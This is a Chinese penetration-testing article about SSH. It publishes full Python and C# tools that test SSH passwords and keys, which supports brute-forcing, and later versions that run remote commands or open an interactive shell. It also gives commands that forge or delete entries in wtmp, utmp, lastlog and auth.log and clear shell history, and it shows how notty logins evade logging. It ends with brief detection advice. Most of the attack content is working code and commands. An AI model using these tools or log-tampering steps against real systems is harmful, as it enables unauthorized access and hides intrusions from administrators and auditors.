0x00 前言
SSH是一种网络协议,用于计算机之间的加密登录,通常用于远程登录Linux系统。
在渗透测试中,通常需要考虑SSH的口令爆破和日志删除。
本文将要介绍一些渗透测试相关的基础内容,结合利用方法给出检测建议。
0x01 简介
本文将要介绍以下内容:
· 程序实现SSH口令验证
· SSH日志的删除
· SSH日志的绕过
· 防御检测
0x02 程序实现SSH口令验证
1.Python实现
使用第三方库paramiko库,用法很简单。
代码如下:
import paramiko import sys def sshcheck(hostname, port, username, password): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(hostname, port, username, password, timeout=10) print("[+] Valid: %s %s"%(username,password)) ssh.close(); except paramiko.AuthenticationException: print("[!] Authentication failed") except Exception: print("[!] Connection Failed") except paramiko.SSHException: print("[!] Unable to establish SSH connection: %s"%(sshException)) def sshcheckfile(hostname, port, username, keyfile): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) key=paramiko.RSAKey.from_private_key_file(keyfile) try: ssh.connect(hostname, port, username, pkey=key, timeout=2) print("[+] Valid: %s %s"%(username,keyfile)) ssh.close(); except paramiko.AuthenticationException: print("[!] Authentication failed") except Exception: print("[!] Connection Failed") except paramiko.SSHException: print("[!] Unable to establish SSH connection: %s"%(sshException)) if __name__ == "__main__": if len(sys.argv)!=6: print('[!]Wrong parameter') print('sshCheck') print('Use to check the valid credential of SSH(Support password and privatekeyfile)') print('Author:3gstudent') print('Usage:') print('%s '%(sys.argv[0])) print(':') print('- plaintext') print('- keyfile') print('Eg.') print('%s 192.168.1.1 22 plaintext root toor'%(sys.argv[0])) print('%s 192.168.1.1 22 keyfile root id_rsa'%(sys.argv[0])) sys.exit(0) else: if sys.argv[3] == 'plaintext': sshcheck(sys.argv[1], int(sys.argv[2]), sys.argv[4], sys.argv[5]) elif sys.argv[3] == 'keyfile': sshcheckfile(sys.argv[1], int(sys.argv[2]), sys.argv[4], sys.argv[5]) else: print('[!]Wrong parameter')
代码支持口令登录和证书文件登录。
2.C#实现
使用第三方库SSH.NET,地址如下:
https://github.com/sshnet/SSH.NET
编译好的dll下载地址:
https://github.com/sshnet/SSH.NET/releases/download/2016.1.0/SSH.NET-2016.1.0-bin.zip
参考文档:
https://github.com/sshnet/SSH.NET/releases/download/2016.1.0/SSH.NET-2016.1.0-help.chm
在程序中引入Renci.SshNet.dll后,用法也十分简单。
在编写程序上需要注意以下问题:
(1)使用证书登录
SSH.NET对证书的格式有要求,SSH.NET-2016.1.0-help.chm上提示必须为BEGIN RSA PRIVATE KEY,如下图:
而使用命令ssh-keygen -t rsa时,默认是以新的格式生成密钥文件,格式为BEGIN OPENSSH PRIVATE KEY,这里需要做一个转换。
解决方法:
使用puttygen转换,下载地址:
https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
选择Load导入密钥。
导出方法:
Conversions->Export OpenSSH key
所以在编写程序上需要先读取证书的文件内容,判断格式是否正确。
代码如下:
using System; using System.IO; using Renci.SshNet; namespace SharpSSHCheck_SSH.NET { class Program { static void ShowUsage() { string Usage = @" SharpSSHCheck_SSH.NET Use to check the valid credential of SSH(Based on SSH.NET). Support password and privatekeyfile. Author:3gstudent Reference:https://github.com/sshnet/SSH.NET Note: You need to reference Renci.SshNet.dll. You can download Renci.SshNet.dll from https://github.com/sshnet/SSH.NET/releases/download/2016.1.0/SSH.NET-2016.1.0-bin.zip Complie: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SharpSSHCheck_SSH.NET.cs /r:Renci.SshNet.dll Usage: SharpSSHCheck_SSH.NET.exe : - plaintext - keyfile Eg: SharpSSHCheck_SSH.NET.exe 192.168.1.1 22 plaintext root toor SharpSSHCheck_SSH.NET.exe 192.168.1.1 22 keyfile root id_rsa "; Console.WriteLine(Usage); } static void Main(string[] args) { if (args.Length != 5) ShowUsage(); else { try { String Host = args[0]; String Port = args[1]; String Username = args[3]; String Password = null; String Keypath = null; if (args[2] == "plaintext") { Password = args[4]; var connectionInfo = new PasswordConnectionInfo(Host, Int32.Parse(Port), Username, Password); connectionInfo.Timeout = TimeSpan.FromSeconds(10); var ssh = new SshClient(connectionInfo); ssh.Connect(); Console.WriteLine("[+] Valid: " + Username + " " + Password); ssh.Disconnect(); ssh.Dispose(); } else if (args[2] == "keyfile") { Keypath = args[4]; FileStream keyFileStream = File.OpenRead(Keypath); byte[] byData = new byte[40]; keyFileStream.Read(byData, 0, 40); string keyData = System.Text.Encoding.Default.GetString(byData); if (keyData.Contains("OPENSSH")) { Console.WriteLine("[!] Bad format of key file. You should use puttygen to convert the format."); System.Environment.Exit(0); } keyFileStream.Seek(0, SeekOrigin.Begin); var connectionInfo = new PrivateKeyConnectionInfo(Host, Int32.Parse(Port), Username, new PrivateKeyFile(keyFileStream)); connectionInfo.Timeout = TimeSpan.FromSeconds(10); var ssh = new SshClient(connectionInfo); ssh.Connect(); Console.WriteLine("[+] Valid: " + Username + " " + Keypath); ssh.Disconnect(); ssh.Dispose(); } else { Console.WriteLine("[!] Wrong parameter"); System.Environment.Exit(0); } } catch (Renci.SshNet.Common.SshException ex) { Console.WriteLine("[!] " + ex.Message); } catch (Exception exception) { Console.WriteLine("[!] " + exception.Message); } } } } }
代码需要对应.NET版本的Renci.SshNet.dll,可使用csc.exe进行编译,命令示例:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SharpSSHCheck_SSH.NET.cs /r:Renci.SshNet.dll
代码支持口令登录和证书文件登录。
0x03 SSH日志的删除
同SSH登录操作相关的日志有以下几个位置:
· /var/log/btmp,记录错误的登录尝试,查询命令:lastb
· /var/log/auth.log,记录认证成功的用户
· /var/log/secure,记录与安全相关的日志信息
· /var/log/lastlog,记录用户上次登录信息
· /var/log/wtmp,记录当前和曾经登入系统的用户信息,查询命令:last
· /var/run/utmp,记录当前正在登录系统的用户信息,查询命令:w
· ~/.bash_history,记录从最开始至上一次登录所执行过的命令,查询命令:history
1.查看日志的内容
无法直接查看的需要使用strings命令。
命令示例:
strings /var/log/wtmp
2.替换日志中的IP
使用sed命令替换指定的IP。
命令示例:
utmpdump /var/log/wtmp |sed "s/192.168.112.151/1.1.1.1/g" |utmpdump -r >/tmp/wtmp11 &&\mv /tmp/wtmp11 /var/log/wtmp
将192.168.112.151修改为1.1.1.1
3.删除日志中的指定行
使用sed命令删除指定行。
sed -i '/May 1 23:17:39/d' /var/log/auth.log
删除/var/log/auth.log中以"May 1 23:17:39"开头的行。
4.躲避管理员w查看
需要使用logtamper
命令示例:
python logtamper.py -m 1 -u re4lity -i 192.168.0.188
通过修改文件/var/run/utmp实现。
5.清除指定ip的登录日志
需要使用logtamper
命令示例:
python logtamper.py -m 2 -u re4lity -i 192.168.0.188
通过修改文件/var/log/wtmp实现。
6.修改上次登录时间地点
需要使用logtamper
命令示例:
python logtamper.py -m 3 -u re4lity -i 192.168.0.188 -t tty1 -d 2014:05:28:10:11:12
通过修改文件/var/log/lastlog实现。
7.清除当前会话使用的命令记录
在退出会话前执行:
history -r
0x04 SSH日志的绕过
如果我们使用SSH客户端(例如putty)进行登录,需要考虑日志清除,十分麻烦。
这里给出一种绕过各种日志记录的方法:使用sftp、rsyn、scp等协议进行登录(notty)。
这里给出两种实现方法:
在0x02中介绍的两个SSH口令验证程序(python和c#)正是使用了notty。
我将口令验证程序加入了执行命令的功能。
Python实现的代码如下:
import paramiko import sys def sshcheck(hostname, port, username, password, cmd): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(hostname, port, username, password, timeout=10) print("[+] Valid: %s %s"%(username,password)) if cmd == 'shell': while(1): cmd = input("#") if cmd == 'exit': print("[*] Exit.") ssh.close(); return stdin, stdout, stderr = ssh.exec_command(cmd) print(stdout.read().decode()) result = stdout.read() else: stdin, stdout, stderr = ssh.exec_command(cmd) print(stdout.read().decode()) result = stdout.read() ssh.close(); except paramiko.AuthenticationException: print("[!] Authentication failed") except Exception: print("[!] Connection Failed") except paramiko.SSHException: print("[!] Unable to establish SSH connection: %s"%(sshException)) def sshcheckfile(hostname, port, username, keyfile, cmd): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) key=paramiko.RSAKey.from_private_key_file(keyfile) try: ssh.connect(hostname, port, username, pkey=key, timeout=2) print("[+] Valid: %s %s"%(username,keyfile)) if cmd == 'shell': while(1): cmd = input("#") if cmd == 'exit': print("[*] Exit.") ssh.close(); return stdin, stdout, stderr = ssh.exec_command(cmd) print(stdout.read().decode()) result = stdout.read() else: stdin, stdout, stderr = ssh.exec_command(cmd) print(stdout.read().decode()) result = stdout.read() ssh.close(); except paramiko.AuthenticationException: print("[!] Authentication failed") except Exception: print("[!] Connection Failed") except paramiko.SSHException: print("[!] Unable to establish SSH connection: %s"%(sshException)) if __name__ == "__main__": if len(sys.argv)!=7: print('[!]Wrong parameter') print('sshRunCmd') print('Remote command execution via SSH(Support password and privatekeyfile)') print('Author:3gstudent') print('Usage:') print('%s '%(sys.argv[0])) print(':') print('- plaintext') print('- keyfile') print('If the is shell,you will get an interactive shell') print('Eg.') print('%s 192.168.1.1 22 plaintext root toor shell'%(sys.argv[0])) print('%s 192.168.1.1 22 keyfile root id_rsa ps'%(sys.argv[0])) sys.exit(0) else: if sys.argv[3] == 'plaintext': sshcheck(sys.argv[1], int(sys.argv[2]), sys.argv[4], sys.argv[5], sys.argv[6]) elif sys.argv[3] == 'keyfile': sshcheckfile(sys.argv[1], int(sys.argv[2]), sys.argv[4], sys.argv[5], sys.argv[6])
C#实现的代码如下:
using System; using System.IO; using Renci.SshNet; namespace SharpSSHRunCmd_SSH.NET { class Program { static void ShowUsage() { string Usage = @" SharpSSHRunCmd_SSH.NET Remote command execution via SSH(Based on SSH.NET). Support password and privatekeyfile. Author:3gstudent Reference:https://github.com/sshnet/SSH.NET Note: You need to reference Renci.SshNet.dll. You can download Renci.SshNet.dll from https://github.com/sshnet/SSH.NET/releases/download/2016.1.0/SSH.NET-2016.1.0-bin.zip Complie: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SharpSSHRunCmd_SSH.NET.cs /r:Renci.SshNet.dll Usage: SharpSSHRunCmd_SSH.NET.exe : - plaintext - keyfile If the is shell,you will get an interactive shell. Eg: SharpSSHRunCmd_SSH.NET.exe 192.168.1.1 22 plaintext root toor shell SharpSSHRunCmd_SSH.NET.exe 192.168.1.1 22 keyfile root id_rsa ps "; Console.WriteLine(Usage); } static void Main(string[] args) { if (args.Length != 6) ShowUsage(); else { try { String Host = args[0]; String Port = args[1]; String Username = args[3]; String Password = null; String Keypath = null; String cmd = args[5]; if (args[2] == "plaintext") { Password = args[4]; var connectionInfo = new PasswordConnectionInfo(Host, Int32.Parse(Port), Username, Password); connectionInfo.Timeout = TimeSpan.FromSeconds(10); var ssh = new SshClient(connectionInfo); ssh.Connect(); Console.WriteLine("[+] Valid: " + Username + " " + Password); if (cmd == "shell") while(true) { Console.Write("\n#"); cmd = Console.ReadLine(); if(cmd == "exit") { Console.Write("[*] Exit."); ssh.Disconnect(); ssh.Dispose(); System.Environment.Exit(0); } var runcmd = ssh.CreateCommand(cmd); var res = runcmd.Execute(); Console.Write(res); } else { var runcmd = ssh.CreateCommand(cmd); var res = runcmd.Execute(); Console.Write(res); ssh.Disconnect(); ssh.Dispose(); } } else if (args[2] == "keyfile") { Keypath = args[4]; FileStream keyFileStream = File.OpenRead(Keypath); byte[] byData = new byte[40]; keyFileStream.Read(byData, 0, 40); string keyData = System.Text.Encoding.Default.GetString(byData); if (keyData.Contains("OPENSSH")) { Console.WriteLine("[!] Bad format of key file. You should use puttygen to convert the format."); System.Environment.Exit(0); } keyFileStream.Seek(0, SeekOrigin.Begin); var connectionInfo = new PrivateKeyConnectionInfo(Host, Int32.Parse(Port), Username, new PrivateKeyFile(keyFileStream)); connectionInfo.Timeout = TimeSpan.FromSeconds(10); var ssh = new SshClient(connectionInfo); ssh.Connect(); Console.WriteLine("[+] Valid: " + Username + " " + Keypath); if (cmd == "shell") while(true) { Console.Write("\n#"); cmd = Console.ReadLine(); if(cmd == "exit") { Console.Write("[*] Exit."); ssh.Disconnect(); ssh.Dispose(); System.Environment.Exit(0); } var runcmd = ssh.CreateCommand(cmd); var res = runcmd.Execute(); Console.Write(res); } else { var runcmd = ssh.CreateCommand(cmd); var res = runcmd.Execute(); Console.Write(res); ssh.Disconnect(); ssh.Dispose(); } } else { Console.WriteLine("[!] Wrong parameter"); System.Environment.Exit(0); } } catch (Renci.SshNet.Common.SshException ex) { Console.WriteLine("[!] " + ex.Message); } catch (Exception exception) { Console.WriteLine("[!] " + exception.Message); } } } } }
代码均支持执行单个命令和交互式shell。
分别选择交互式shell,执行以下命令获得连接类型:
ps -aux|grep sshd
此时的连接类型为notty,如下图:
注:
如果使用putty远程连接,此时的类型为pts/2,如下图:
经测试,使用notty,能够绕过以下日志:
· /var/log/lastlog,记录用户上次登录信息
· /var/log/wtmp,记录当前和曾经登入系统的用户信息,查询命令:last
· /var/run/utmp,记录当前正在登录系统的用户信息,查询命令:w
· ~/.bash_history,记录从最开始至上一次登录所执行过的命令,查询命令:history
0x05 防御检测
1.增强SSH守护程序
参考资料:
https://www.putorius.net/how-to-secure-ssh-daemon.html
2.notty连接的检测
· 查看错误的登录尝试,查询命令:lastb,文件位置/var/log/btmp
· 查看认证成功的用户,文件位置/var/log/auth.log
· 查看tcp连接,查看命令:netstat -vatn
0x06 小结
本文介绍了SSH在渗透测试中的基础知识(日志删除和日志绕过),开源了4个实现代码(口令验证和命令执行),结合利用方法给出检测建议。
本文为 3gstudent 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址